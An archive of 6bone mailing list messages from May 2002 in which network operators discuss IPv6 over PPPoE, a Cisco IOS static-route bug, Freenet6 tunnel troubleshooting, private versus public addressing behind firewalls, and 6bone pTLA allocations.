> AccessConcentrator-Name.  You can manually place the name of a specific
> AccessConcentrator in the PADI packet if you know the particular name of
> the one you want to connect to, and your PPPoE client software supports
> you doing this.  This is never required and rarely do you see more than
> 1 AccessConcentrator per lan segment anyways.
>
> I'd say PPPoE would not need to be modified to work with IPv6 by my
> understanding of how PPPoE works but I could be wrong.
>
>
> -Bo
>
>
>
> -----Original Message-----
> From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU] On Behalf Of
> yjchu
> Sent: Thursday, May 02, 2002 4:26 AM
> To: Jørgen Hovland; 6bone@ISI.EDU
> Subject: Re: about IPv6 PPPoE
>
>
>
> Hi:
>                I am curious about what you have tried. Can you tell me
> where can I download PPPoE software to try the dial up? Do you really
> try PPPoE or just PPP (not PPPoE) over p2p link?
>
> I am confusing .........As I know, PPPoE must perform ARP and thus,
> there is a field to carry IPv4 address in PPPoE protocol. Why does
> PPPoE(v4) not need to be modified to support IPv6 ?  IPv6 uses neighbor
> discovery to find MAC <--> IPv6 address map. The protocol is over IP,
> not like ARP(v4). Is that the reason why PPPoE need not to be modified
> for IPv6 ?
>
> Thanks
> Yann-Ju CHu
>
> ----- Original Message -----
> From: "Jørgen Hovland" <jorgen@hovland.cx>
> To: "yjchu" <yjchui@cht.com.tw>; <itojun@iijlab.net>
> Cc: <6bone@ISI.EDU>
> Sent: Thursday, April 25, 2002 5:05 PM
> Subject: Re: about IPv6 PPPoE
>
>
> > Are you sure about that?  We are using PPPoE with ipv6 and its working
> fine (IPCP6 or something).
> >
> > Joergen Hovland
> >
> > ----- Original Message -----
> > From: <itojun@iijlab.net>
> > To: "yjchu" <yjchui@cht.com.tw>
> > Cc: <6bone@ISI.EDU>
> > Sent: Thursday, April 25, 2002 6:32 AM
> > Subject: Re: about IPv6 PPPoE
> >
> >
> > > >Hi:
> > > >    At present, there is no specification for PPPoE (IPv6).
> > > >However, = What we will do in the future if we want to dial to IPv6
>
> > > >network
> through =
> > > >ADSL? Or, we will use fixed rather than dial-up connection in the
> future =
> > > >IPv6 ADSL access?
> >
> > > fixed, permanent connectivity with static address is preferred than
> > > dialups, however:
> > > - there are cases where dialup is really necessary - like travelling
> > >   notebooks.
> > > - there are needs for automating customer device configuration.
> > >
> > > so, a protocol for assigning prefix to customer would be nice. the
> > > topic is under discussion at IETF ipngwg.
> > >
> > > you may want to check the following:
> > > overview:
> > > draft-itojun-ipv6-dialup-requirement-02.txt
> > > protocol proposals: draft-troan-dhcpv6-opt-prefix-delegation-00.txt
> > > (there are other proposals exist)
> > > IETF ipngwg minutes for last meeting (www.ietf.org)
> > >
> > > itojun
> > >
> >
>
>
>
>


From 6bone-owner  Thu May  2 07:51:51 2002
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From: Pim van Pelt <pim@ipng.nl>
To: Matteo Tescione <wizard@italiansky.com>
Cc: Pim van Pelt <pim@ipng.nl>, 6bone@ISI.EDU
Subject: Re: route expiration
Message-ID: <20020502145201.GA26570@bfib.colo.bit.nl>
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| C 3FFE:2C02::A023:EB14/127 [0/0]
|   via ::, Tunnel188, 2d19h/never
|   via ::, Tunnel219, 1d03h/never
| 
| But tunnel188 doesn't exist anymore, it was the old tunnel before the user
| recreate another one.
I have seen this on 12.0 also. Please try to get your hands on 12.2(8)
and run the newest version of that OS. I do not know about bugtracking
in IOS, but I do know that a *LOT* of stuff was fixed regarding IPv6.

groet,
Pim

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From 6bone-owner  Thu May  2 11:31:00 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: Pim van Pelt <pim@ipng.nl>
cc: Matteo Tescione <wizard@italiansky.com>, <6bone@ISI.EDU>
Subject: Re: route expiration
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On Thu, 2 May 2002, Pim van Pelt wrote:

> | C 3FFE:2C02::A023:EB14/127 [0/0]
> |   via ::, Tunnel188, 2d19h/never
> |   via ::, Tunnel219, 1d03h/never
> | 
> | But tunnel188 doesn't exist anymore, it was the old tunnel before the user
> | recreate another one.
>
> I have seen this on 12.0 also. Please try to get your hands on 12.2(8)
> and run the newest version of that OS. I do not know about bugtracking
> in IOS, but I do know that a *LOT* of stuff was fixed regarding IPv6.

We noticed a related IOS bug in 12.2(4)T.  If you deleted the interface 
before removing static routes through it, the routes could not be deleted.  
The only way to fix it was to reload a router.

This was partially fixed in 12.2(8)T.  Now the wrong static routes only 
stick to the configuration listing, and are only forgotten on a reload.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


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Subject: RE: 6bone pTLA 3FFE:4006::/32 allocated to DOLPHINS-CH
Date: Fri, 3 May 2002 17:37:14 +0530
Message-ID: <HFEEIFPAPEALNBNNEBJNMENMCCAA.tapas.das@teleweb.net.in>
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Dear all,

I have got a IPV6 address from Freenet6. I can also ping to few of the IPV6
address, but when I goto www.kame.net i don't see the dancing turtle also at
the end of the page it says "you are using IPv4",can somebody explain me why
is this happening.

Also I would like to know how do I install a IPV6 DNS server(On linux) at my
place. I am trying to get a pool of IPV6 address from 6Bone, I have created
the "Person" object but not able to create "mntner" object I get this error

Objects without errors have been processed.

New FAILED: [mntner] MNT-6BONE

Thanx In advance
Tapas Das.


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<META content=3D"MSHTML 6.00.2600.0" name=3DGENERATOR></HEAD>
<BODY>
<P><FONT size=3D2>Dear all,<BR><BR>I have got a IPV6 address from =
Freenet6. I can=20
also ping to few of the IPV6 address, but when I goto www.kame.net i =
don't see=20
the dancing turtle also at the end of the page it says "you are using =
IPv4",can=20
somebody explain me why is this happening.<BR><BR>Also I would like to =
know how=20
do I install a IPV6 DNS server(On linux) at my place. I am trying to get =
a pool=20
of IPV6 address from 6Bone, I have created the "Person" object but not =
able to=20
create "mntner" object I get this error </FONT></P>
<P><FONT size=3D2><FONT color=3D#800000 size=3D6>Objects without errors =
have been=20
processed.<BR><BR>New FAILED: [mntner] MNT-6BONE<BR></FONT><BR>Thanx In=20
advance<BR>Tapas Das.</FONT> </P></BODY></HTML>

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From 6bone-owner  Fri May  3 06:39:24 2002
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From: "David F. Newman" <dnewman@maraudingpirates.org>
To: 6 Bone <6bone@ISI.EDU>
Subject: Internal Address Space
Date: Fri, 3 May 2002 09:39:22 -0400
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Hi there,
In the old IPv4 days sites would use private address space inside a firewall 
for either address conservation or just plain old security through obscurity.

Now that a site can get a /48 to do with as they please is it necessary to use 
private IP space anymore.  I am wondering if people out there use public 
routable IPs on both sides of their firewall.  I figure if a node is behind a 
firewall it is ok to have a valid IP, but I could be wrong.

-Dave


From 6bone-owner  Fri May  3 06:58:19 2002
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Date: Fri, 03 May 2002 15:57:57 +0200
From: Daniel Hirche <daniel@prisec.net>
To: tapas.das@teleweb.net.in
cc: 6BONE List <6bone@ISI.EDU>
Subject: RE: 6bone pTLA 3FFE:4006::/32 allocated to DOLPHINS-CH
Message-ID: <26563306.1020441477@[172.16.2.2]>
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Tapas,

--On Friday, May 03, 2002 5:37 PM +0530 Tapas Das 
<tapas.das@teleweb.net.in> wrote:

> I have got a IPV6 address from Freenet6. I can also ping to few of the
> IPV6 address, but when I goto www.kame.net i don't see the dancing turtle
> also at the end of the page it says "you are using IPv4",can somebody
> explain me why is this happening.

Maybe you don't use a ipv6 enabled browser? Try with Mozilla on Linux/BSD 
or IE6 when using Windows XP/2k with ipv6 support.

> Also I would like to know how do I install a IPV6 DNS server(On linux) at
> my place. I am trying to get a pool of IPV6 address from 6Bone, I have
> created the "Person" object but not able to create "mntner" object I get
> this error

If you're using Viagenie/Freenet6 address space, read 
http://www.freenet6.net/reverse-dns.shtml

>
> Objects without errors have been processed.
>
> New FAILED: [mntner] MNT-6BONE

Well. MNT-6BONE does already exist. Create a non existing one ;)
(whois -h whois.6bone.net MNT-yourchoise to check if exist or not)

wkr,

	--Daniel

From 6bone-owner  Fri May  3 08:32:00 2002
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To: <tapas.das@teleweb.net.in>, "'6BONE List'" <6bone@ISI.EDU>
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1/ Don't send HTML
2/ Don't reply directly to a message for create a new one (that keep
subject and message ID)
3/ Use a correct subject
4/ No need use big character

Resend your message by respecting this rules to the list, and i will
reply.


-----Original Message-----
From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU] On Behalf Of
Tapas Das
Sent: Friday, May 03, 2002 2:07 PM
To: Bob Fink; 6BONE List
Cc: Matthias Cramer; 6bone reverse DNS registration
Subject: RE: 6bone pTLA 3FFE:4006::/32 allocated to DOLPHINS-CH


Dear all,

I have got a IPV6 address from Freenet6. I can also ping to few of the
IPV6 address, but when I goto www.kame.net i don't see the dancing
turtle also at the end of the page it says "you are using IPv4",can
somebody explain me why is this happening.

Also I would like to know how do I install a IPV6 DNS server(On linux)
at my place. I am trying to get a pool of IPV6 address from 6Bone, I
have created the "Person" object but not able to create "mntner" object
I get this error 
Objects without errors have been processed.

New FAILED: [mntner] MNT-6BONE

Thanx In advance
Tapas Das. 


From 6bone-owner  Fri May  3 08:35:59 2002
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Date: Fri, 03 May 2002 08:36:07 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:4008::/32 allocated to SSVL
Cc: Bjorn Pehrson <bjorn@it.kth.se>,
        6bone reverse DNS registration <hostmaster@ep.net>
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SSVL has been allocated pTLA 3FFE:4008::/32 having finished its 2-week 
review period.

<http://whois.6bone.net/cgi-bin/whois?SSVL>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>	


[To create a reverse DNS registration for pTLAs, please send the prefix 
allocated above, and a list of at least two authoritative nameservers, to 
hostmaster@ep.net.]


Thanks,

Bob


From 6bone-owner  Fri May  3 08:50:06 2002
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From: David Kessens <david@IPRG.nokia.com>
To: "David F. Newman" <dnewman@maraudingpirates.org>
Cc: 6 Bone <6bone@ISI.EDU>
Subject: Re: Internal Address Space
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David,

On Fri, May 03, 2002 at 09:39:22AM -0400, David F. Newman wrote:
>
> In the old IPv4 days sites would use private address space inside a firewall 
> for either address conservation or just plain old security through obscurity.

Are you saying that 64-bits/number of hosts on one LAN doesn't give
you a nice amount of obscurity if you want to try to guess IP
addressess within a particular /48 ?!? :-)

> Now that a site can get a /48 to do with as they please is it
> necessary to use private IP space anymore.

It has never been necessary or required to use private space for
anything. That doesn't mean that there are cases where private address
come handy, for example for home-users who are often a victim of 'a
little faster than ISDN speed' Internet providers who seem to think
that customers want PPPoE and charge obscene amounts of money for
getting a few IP addresses.

> I am wondering if people out there use public routable IPs on both
> sides of their firewall.

Of course, people are doing that. People do that with ipv4 all the
time too. v6 doesn't really change anything here except that it is
quite a bit harder to guess somebodies v6 address since there are just
many more to guess...

David K.
---

From 6bone-owner  Fri May  3 12:34:06 2002
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Date: Fri, 03 May 2002 14:34:22 -0500
From: Charles Hill <chill@west.rr.com>
Organization: Road Runner
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To: David Kessens <david@IPRG.nokia.com>
CC: "David F. Newman" <dnewman@maraudingpirates.org>, 6 Bone <6bone@ISI.EDU>
Subject: Re: Internal Address Space
References: <200205030939.22293.dnewman@maraudingpirates.org> <20020503085231.A972@iprg.nokia.com>
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I agree.  If you insist on using "private" IPv6 address space that
doesn't route on the internet, why not just use 2002::10.x.x.x to avoid
any conflicts?  -CH

David Kessens wrote:
> 
> David,
> 
> On Fri, May 03, 2002 at 09:39:22AM -0400, David F. Newman wrote:
> >
> > In the old IPv4 days sites would use private address space inside a firewall
> > for either address conservation or just plain old security through obscurity.
> 
> Are you saying that 64-bits/number of hosts on one LAN doesn't give
> you a nice amount of obscurity if you want to try to guess IP
> addressess within a particular /48 ?!? :-)
> 
> > Now that a site can get a /48 to do with as they please is it
> > necessary to use private IP space anymore.
> 
> It has never been necessary or required to use private space for
> anything. That doesn't mean that there are cases where private address
> come handy, for example for home-users who are often a victim of 'a
> little faster than ISDN speed' Internet providers who seem to think
> that customers want PPPoE and charge obscene amounts of money for
> getting a few IP addresses.
> 
> > I am wondering if people out there use public routable IPs on both
> > sides of their firewall.
> 
> Of course, people are doing that. People do that with ipv4 all the
> time too. v6 doesn't really change anything here except that it is
> quite a bit harder to guess somebodies v6 address since there are just
> many more to guess...
> 
> David K.
> ---

-- 
Regards,

Charles Hill
Sr. Network Engineer
Time Warner - Broadband Network Services
Kansas City Regional Data Center

chill@west.rr.com

--
"One who trades his privacy to government in exchange for security will
end up with neither."  -Benjamin Franklin

"It has been said, too, that our governments, both federal and
particular, want energy; that it is difficult to restrain both
individuals and States from committing wrong. This is true, and it is an
inconvenience."  -Thomas Jefferson
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From 6bone-owner  Fri May  3 13:14:12 2002
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From: "David F. Newman" <dnewman@maraudingpirates.org>
Organization: Marauding Pirates
To: 6 Bone <6bone@ISI.EDU>
Subject: Re: Internal Address Space
Date: Fri, 3 May 2002 16:14:10 -0400
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References: <200205030939.22293.dnewman@maraudingpirates.org> <20020503085231.A972@iprg.nokia.com> <3CD2E63E.58A7C498@west.rr.com>
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On Friday 03 May 2002 03:34 pm, Charles Hill wrote:
> I agree.  If you insist on using "private" IPv6 address space that
> doesn't route on the internet, why not just use 2002::10.x.x.x to avoid
> any conflicts?  -CH
>

Well, I'm not insisting on anything.  I was just wondering what others are 
doing.  Actually it has always seemed logical to me to use public address 
behind a firewall.  It was the networking group at my company that informed 
me that private space is used behind firewalls just as a matter of  course.

My own ISP gives me one address and so I use a private address space 
inside my firewall.  I was thinking that if my firewall tunnels to 6bone
then my inside machines could have private IPv4 addresses and public 
IPv6 addresses.

-Dave


From 6bone-owner  Fri May  3 23:10:44 2002
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Date: Sat, 4 May 2002 09:10:41 +0300 (EEST)
From: Pekka Savola <pekkas@netcore.fi>
To: "David F. Newman" <dnewman@maraudingpirates.org>
cc: 6 Bone <6bone@ISI.EDU>
Subject: Re: Internal Address Space
In-Reply-To: <200205030939.22293.dnewman@maraudingpirates.org>
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On Fri, 3 May 2002, David F. Newman wrote:
> Hi there,
> In the old IPv4 days sites would use private address space inside a firewall 
> for either address conservation or just plain old security through obscurity.
> 
> Now that a site can get a /48 to do with as they please is it necessary to use 
> private IP space anymore.  I am wondering if people out there use public 
> routable IPs on both sides of their firewall.  I figure if a node is behind a 
> firewall it is ok to have a valid IP, but I could be wrong.

You could always use site-local addresses from under fec0::/10 there.  
If you're configuring e.g. PR:EF:IX:ABCD::/64 on a link, you could also 
systematically configure FEC0:0:0:ABCD::/64 on the link.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Sat May  4 01:27:11 2002
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Date: Sat, 4 May 2002 10:27:20 +0200
From: Pim van Pelt <pim@ipng.nl>
To: Charles Hill <chill@west.rr.com>
Cc: David Kessens <david@IPRG.nokia.com>,
        "David F. Newman" <dnewman@maraudingpirates.org>,
        6 Bone <6bone@ISI.EDU>
Subject: Re: Internal Address Space
Message-ID: <20020504082719.GA12319@bfib.colo.bit.nl>
References: <200205030939.22293.dnewman@maraudingpirates.org> <20020503085231.A972@iprg.nokia.com> <3CD2E63E.58A7C498@west.rr.com>
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On Fri, May 03, 2002 at 02:34:22PM -0500, Charles Hill wrote:
| I agree.  If you insist on using "private" IPv6 address space that
| doesn't route on the internet, why not just use 2002::10.x.x.x to avoid
| any conflicts?  -CH
Charles,

Because 2002::/16 has not been devised for this. It is for the process
for 6to4 transition, and that kind of implies a globally routable IPv4
address.

You are making a fatal misconception that your 2002:10.x.x.x::/48 space
is not routable on the Internet, because it is. Also 2002::10.x.x.x
(assuming that was really what you meant and not just a typo) is
routable, because lots of people announce 6to4 relays which implies
their AS announcing 2002::/16 (and they should not be announcing any
more specific in this /16 either).

I will personally come and kick anyones ass that uses 2002:$rfc1918::/48
space on the 6to4 relays. This is because if some packet arrives at my
(or another) 6to4 relay, it will decapsulate the packet and try to send
it to $rfc1918 space in the IPv4 world. This causes two things:
 o unnessecary load on the 6bone and production IPv6 network
 o unnessecary load on my 6to4 relay for processing this crap

I have seen one DDoS on my own 6to4 relay (becasue there were 'bad
users' relaying through it) that was a bunch of traffic coming from all
sides of the 6bone (v6 connectivity side) and outbound for this
nonexisting space (both rfc1918 and unallocated space).

To wrap it up, let me state the obvious. If you want 'private' space,
please use the scope that was designed for this: sitelocal (fec0::/10)

groet,
Pim

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From 6bone-owner  Sat May  4 03:24:34 2002
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From: Robert Elz <kre@munnari.OZ.AU>
To: "David F. Newman" <dnewman@maraudingpirates.org>
Cc: 6 Bone <6bone@ISI.EDU>
Subject: Re: Internal Address Space 
In-Reply-To: <200205031614.10792.dnewman@maraudingpirates.org> 
References: <200205031614.10792.dnewman@maraudingpirates.org>  <200205030939.22293.dnewman@maraudingpirates.org> <20020503085231.A972@iprg.nokia.com> <3CD2E63E.58A7C498@west.rr.com> 
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    Date:        Fri, 3 May 2002 16:14:10 -0400
    From:        "David F. Newman" <dnewman@maraudingpirates.org>
    Message-ID:  <200205031614.10792.dnewman@maraudingpirates.org>

  | Actually it has always seemed logical to me to use public address 
  | behind a firewall.

It is.   After all, private address space is a comparatively recent
addition, before that everyone used public address space (either
legitimately obtained, or "borrowed").

  | It was the networking group at my company that informed 
  | me that private space is used behind firewalls just as a matter of  course.

For IPv4 these days it is - because the addresses are scarce, and
using them to number things that cannot be reached from outside is
just wasteful.   It used not to be that way, and for IPv6, never
needs to be that way.

  | My own ISP gives me one address and so I use a private address space 
  | inside my firewall.

Same thing, they're just only allocating the minimum that they can get
away with, so they have addresses to allocate to others (and besides, it
means that they can charge you more, for nothing really, if you want more
public addresses).

  | I was thinking that if my firewall tunnels to 6bone
  | then my inside machines could have private IPv4 addresses and public 
  | IPv6 addresses.

Yes, that is not at all uncommon.

kre


From 6bone-owner  Sat May  4 03:57:39 2002
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From: "Tapas Das" <tapas.das@teleweb.net.in>
To: "'6BONE List'" <6bone@ISI.EDU>
Subject: Got one IPV6 address from Freenet6 but not working.
Date: Sat, 4 May 2002 16:28:54 +0530
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Dear all,

I have got a IPV6 address from Freenet6. I can also ping to few of the
IPV6 address, but when I goto www.kame.net i don't see the dancing
turtle also at the end of the page it says "you are using IPv4",can
somebody explain me why is this happening.

Also I would like to know how do I install a IPV6 DNS server(On linux)
at my place. I am trying to get a pool of IPV6 address from 6Bone, I
have created the "Person" object but not able to create "mntner" object
I get this error 
Objects without errors have been processed.

New FAILED: [mntner] MNT-6BONE

Thanx In advance
Tapas Das. 


From 6bone-owner  Sat May  4 06:13:15 2002
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From: "Nicolas DEFFAYET" <nicolas.deffayet-extml@ndsoftwaregroup.com>
To: <tapas.das@teleweb.net.in>, "'6BONE List'" <6bone@ISI.EDU>
Subject: RE: Got one IPV6 address from Freenet6 but not working.
Date: Sat, 4 May 2002 15:13:57 +0200
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> -----Original Message-----
> From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU] On 
> Behalf Of Tapas Das
> Sent: Saturday, May 04, 2002 12:59 PM
> To: '6BONE List'
> Subject: Got one IPV6 address from Freenet6 but not working.
> 

Dear Tapas Das,

> I have got a IPV6 address from Freenet6. I can also ping to 
> few of the IPV6 address, but when I goto www.kame.net i don't 
> see the dancing turtle also at the end of the page it says 
> "you are using IPv4",can somebody explain me why is this happening.

What's web browser do you use ?
Have you try with Mozilla ?
Have you try to access to a IPv6 only site (http://www.ipv6.cnit.it for
exemple) ?

> 
> Also I would like to know how do I install a IPV6 DNS 
> server(On linux) at my place.

Install BIND9 and:
use AAAA record for forward
use PTR record for reverse
DNS server work same in IPv4 and IPv6.

For more informations: http://www.isi.edu/~bmanning/v6DNS.html

> I am trying to get a pool of 
> IPV6 address from 6Bone, I have created the "Person" object 
> but not able to create "mntner" object I get this error 
> Objects without errors have been processed.
> 
> New FAILED: [mntner] MNT-6BONE

What's error message do you have after this ?
object exist ? (i think yes because MNT-6BONE exist)

The mntner objects must free for register like domains...

> 
> Thanx In advance
> Tapas Das. 

You are welcome.

Best Regards,

Nicolas DEFFAYET


From 6bone-owner  Sat May  4 07:40:13 2002
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Tapas,

> I have got a IPV6 address from Freenet6. I can also ping to few of the
> IPV6 address, but when I goto www.kame.net i don't see the dancing
> turtle also at the end of the page it says "you are using IPv4",can
> somebody explain me why is this happening.

Most likely your DNS is resolving www.kame.net into an IPv4 address. Use 
a browser that supports IPv6 and a DNS server that supports AAAA records.

Cheers.
-- 
Paul Aitken
IPv6 Development, Cisco Systems Ltd, Edinburgh, Scotland. EH6 6LX



From 6bone-owner  Sat May  4 15:57:35 2002
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To: Robert Elz <kre@munnari.OZ.AU>
cc: "David F. Newman" <dnewman@maraudingpirates.org>, 6 Bone <6bone@ISI.EDU>
Subject: Re: Internal Address Space 
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On Sat, 4 May 2002, Robert Elz wrote:

>   | I was thinking that if my firewall tunnels to 6bone
>   | then my inside machines could have private IPv4 addresses and public
>   | IPv6 addresses.
>
> Yes, that is not at all uncommon.

Just be wary of the interesting security 'features' this kind of set up
has.  Be sure to filter the IPv6 traffic at the edge.

C.


From 6bone-owner  Sun May  5 22:30:43 2002
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Date: Mon, 06 May 2002 07:30:43 +0200
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From: Xavier Roche <rocheml@httrack.com>
Subject: Router neighbor advertisement problems between linux/windows
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Hi,

I have weird routing/router advert. problems using an ipv6 stack on both linux and windows: the linux and windows does not seem to "see" each others very well on ipv6.

Here is how they are configured:

Windows 2000 (test workstation)
3ffe:b80:9e2:1:201:2ff:fefa:903d
fe80::201:2ff:fefa:903d
        ||
        \/
Linux (test router)
3ffe:b80:9e2:1::1
fe80::250:daff:fe0d:d0a3
        ||
        \/
Outside world:
IPv6-in-IPv4 tunnel (freenet6)

- I can ping/connect from the Linux router any v6/v4 addresses outside and vice-versa
- I can ping/connect from the Linux router any v4 internal addresses but NOT ipv6 internal addresses, except **sometimes** (!). Generally I got "Destination unreachable" errors:

# ping6 3ffe:b80:9e2:1:201:2ff:fefa:903d
PING 3ffe:b80:9e2:1:201:2ff:fefa:903d(3ffe:b80:9e2:1:201:2ff:fefa:903d) from 3ffe:b80:9e2:1::1 : 56 data bytes
>From ::1 icmp_seq=1 Destination unreachable: Address unreachableFrom ::1

- I can ping/connect from the Windows any v4 external addresses, NOT v6 addresses except the local link ::1 and the machine address 3ffe:b80:9e2:1:201:2ff:fefa:903d itself, except sometimes, too (!) - for example I can *sometimes* ping the windows machine from the outside world, IF I also ping FROM the *Linux* machine to the outside world (!!):

PING 3ffe:b80:9e2:1:201:2ff:fefa:903d(3ffe:b80:9e2:1:201:2ff:fefa:903d) from 3ffe:80b0:100:1:250:4ff:fe37:5976 : 56 data bytes
64 bytes from 3ffe:b80:9e2:1:201:2ff:fefa:903d: icmp_seq=1 hops=60 time=3.289 sec
64 bytes from 3ffe:b80:9e2:1:201:2ff:fefa:903d: icmp_seq=2 hops=60 time=2.599 sec
..

And I get strange network traffic between the two machines ; these three icmpv6 packets are being sent each seconds:

23:07:21.651872 fe80::250:daff:fe0d:d0a3 > ff02::1:fffa:903d: icmp6: neighbor sol: who has 3ffe:b80:9e2:1:201:2ff:fefa:903d
23:07:21.651885 fe80::250:daff:fe0d:d0a3 > ff02::1:ff0d:d0a3: icmp6: neighbor sol: who has fe80::250:daff:fe0d:d0a3
23:07:21.652015 3ffe:b80:9e2:1:201:2ff:fefa:903d > fe80::250:daff:fe0d:d0a3: icmp6: neighbor adv: tgt is 3ffe:b80:9e2:1:201:2ff:fefa:903d

With the associated log entry on the linux box:

May  5 22:54:25 linux kernel: icmpv6_send: no reply to icmp error 
It seems that the linux box is endlessly asking "where are fe80::250:daff:fe0d:d0a3 and fe80::250:daff:fe0d:d0a3?" (the two windows addresses) and the windows seem to reply.. but this does'nt work at all.

The linux routine tables seem okay:
# ip -6 route
3ffe:b80:9e2:1::/64 dev eth0  proto kernel  metric 256  mtu 1500
3ffe:b80:9e2::/48 dev eth0  metric 1  mtu 1500
2000::/3 dev sit1  metric 1  mtu 1472
fe80::/10 dev eth0  proto kernel  metric 256  mtu 1500
fe80::/10 via :: dev sit1  proto kernel  metric 256  mtu 1472
ff00::/8 dev eth0  proto kernel  metric 256  mtu 1500
ff00::/8 dev sit1  proto kernel  metric 256  mtu 1472
default dev sit1  metric 1  mtu 1472
unreachable default dev lo  metric -1  error -101

And I also have v4+v6 routing activated, and a radvd demon running. No v6 firewalling problems, too (I even tried for a moment to disable the firewall - not better).

To summarize, I have no idea of where can be the problem.. did I miss something on the router advert protocol?


From 6bone-owner  Mon May  6 11:14:39 2002
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From: Yuji Sekiya <sekiya@sfc.wide.ad.jp>
To: Xavier Roche <rocheml@httrack.com>
Cc: 6bone@ISI.EDU
Subject: Re: Router neighbor advertisement problems between linux/windows
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At Mon, 06 May 2002 07:30:43 +0200,
Xavier Roche <rocheml@httrack.com> wrote:

> - I can ping/connect from the Linux router any v6/v4 addresses outside and vice-versa
> - I can ping/connect from the Linux router any v4 internal addresses but NOT ipv6 internal addresses, except **sometimes** (!). Generally I got "Destination unreachable" errors:

Please try USAGI Linux kernel with CONFIG_IPV6_EN_DFLT option because
the original Linux kernel ignores IPv6 default route when it acts as
IPv6 router.

You can get USAGI kernel from http://www.linux-ipv6.org/

Regards,

-- Yuji Sekiya



From 6bone-owner  Mon May  6 13:47:44 2002
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To: 6bone@ISI.EDU
From: Xavier Roche <rocheml@httrack.com>
Subject: Re: Router neighbor advertisement problems between
  linux/windows
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References: <5.1.0.14.0.20020506073035.03bd1908@pop.pro.proxad.net>
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>>except **sometimes** (!). Generally I got "Destination unreachable" errors:
>>Please try USAGI Linux kernel with CONFIG_IPV6_EN_DFLT option because
>>the original Linux kernel ignores IPv6 default route when it acts as
>>IPv6 router.
>>You can get USAGI kernel from http://www.linux-ipv6.org/

Thanks, I'll try it - I found a temporary fix by shutting down all routes, addresses and interfaces, and bringing them up again, this seem to be related to the loopback virtual interface (?) [using 2.4.19-pre6]


From 6bone-owner  Tue May  7 04:58:12 2002
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From 6bone-owner  Tue May  7 06:00:53 2002
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_______________________________________________________________________
Þessi tölvupóstur og viðhengi hans gætu innihaldið trúnaðarupplýsingar
eingöngu ætlaðar þeim sem hann er stílaður á. Efni tölvupóstsins og
viðhengi er á ábyrgð sendanda ef það tengist ekki starfsemi Símans.
Sjá nánar: http://www.siminn.is/control/index?pid=6164

This e-mail and it's attachments may contain confidential and privileged
information only intended for the person or entity to which it is
addressed.
Further information: http://www.siminn.is/control/index?pid=6772
_______________________________________________________________________

From 6bone-owner  Tue May  7 09:43:47 2002
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Date: Tue, 07 May 2002 09:43:43 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request VERAT - review closes 21 May 2002
Cc: Milos Prodanovic <awl@verat.net>
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6bone Folk,

VERAT has requested a pTLA allocation and I find their request fully 
compliant with RFC2772. The open review period for this will close 21 May 
2002. Please send your comments to me or the list.

<http://whois.6bone.net/cgi-bin/whois?VERAT>

<http://lab.verat.net>
<www.v6.verat.net>


Thanks,

Bob
===
>Date: Tue, 7 May 2002 17:14:01 +0200 (CEST)
>From: Milos Prodanovic <awl@verat.net>
>To: <fink@es.net>
>cc: <ipv6-support@verat.net>
>Subject: pTLA request
>
>To whom it may concern
>
>
>
>I would like to request a pTLA on behalf of the VERAT (Verat.net) .
>
>
>      VERAT.net :
>
>(RFC 2772 7.1)  - is present on 6BONE more than 6 months,
>(RFC 2772 7.1a) - have maintained, up to date, 6Bone Registry for all
>                   objects.
>(RFC 2772 7.1b) - have BGP4+ peering with most of connection point to
>                   the 6BONE. (BERKOM,FASTNETXP,HURRICANE,LAVANET,SSVL
>                   and CYBERNET)
>(RFC 2772 7.1c) - Fully maintained DNS forward (AAAA) and reverse
>                   (ip6.int) at ns1.ng.verat.net, ns2.ng.verat.net and
>                   ns1.v6.verat.net, ns2.v6.verat.net .
>(RFC 2772 7.1d) - have IPv6 and IPv4 pingable and accessible web server
>                   (http://lab.verat.net) with unique and interesting
>                   services (Jaspvi).
>(RFC 2772 7.2)  - already provides reliable 6BONE services, and has the
>                   ability and intent to provide 6Bone services. For more
>                   information please look at 'Monitoring' on
>                   http://lab.verat.net, and wide range of 6pinger web
>                   applications on the 6BONE.
>(RFC 2772 7.2a) - three registered persons in ipv6-site object
>                   (MB5-6BONE, NM4-6BONE [NM303-RIPE], MP10-6BONE
>                   [MP6868-RIPE])
>(RFC 2772 7.4b) - common mailbox (mailto:ipv6-support@verat.net)
>(RFC 2772 7.3)  -  * is major ISP in Serbia (Yugoslavia), with good
>                   connectivity with west
>                    * have regional importance for Balkan Peninsula that
>                   includes Bulgaria, Romania and ex-Yugoslav countries
>                   (Slovenia,Croatia,Bosnia and Macedonia),
>                    * have peering with with all major ISP in Yugoslavia,
>                   and Academic Network  of Belgrade University.
>(RFC 2772 7.4)  - commits to abide by the current 6Bone operational rules
>                   and policies as they exist at time of its application, and
>                   agree to abide by future 6Bone backbone operational rules
>                   and policies.
>
>
>For more information about Verat, feel free to look at attachment,
>http://lab.verat.net, or http://www.viagenie.qc.ca/cgi-bin/whois.pl?VERAT .
>
>If you have any questions regarding our application, please do not
>hesitate to send an email to ipv6-support@verat.net.
>
>
>
>Kind Regards
>
>
>in the name of Verat.net
>
>Milos Prodanovic
>(MP10-6BONE,MP6868-RIPE)
>



From 6bone-owner  Tue May  7 16:25:11 2002
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From: aaron <aaron@lo-res.org>
To: 6bone@ISI.EDU
Subject: priority question
Date: Wed, 8 May 2002 01:24:49 +0200
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Hi!

short question: whats the current status of the priority field in the IPv6 
header? is it already effectively used (=consered as routing decision on KAME 
based routers)?

any experience?

Thanks,
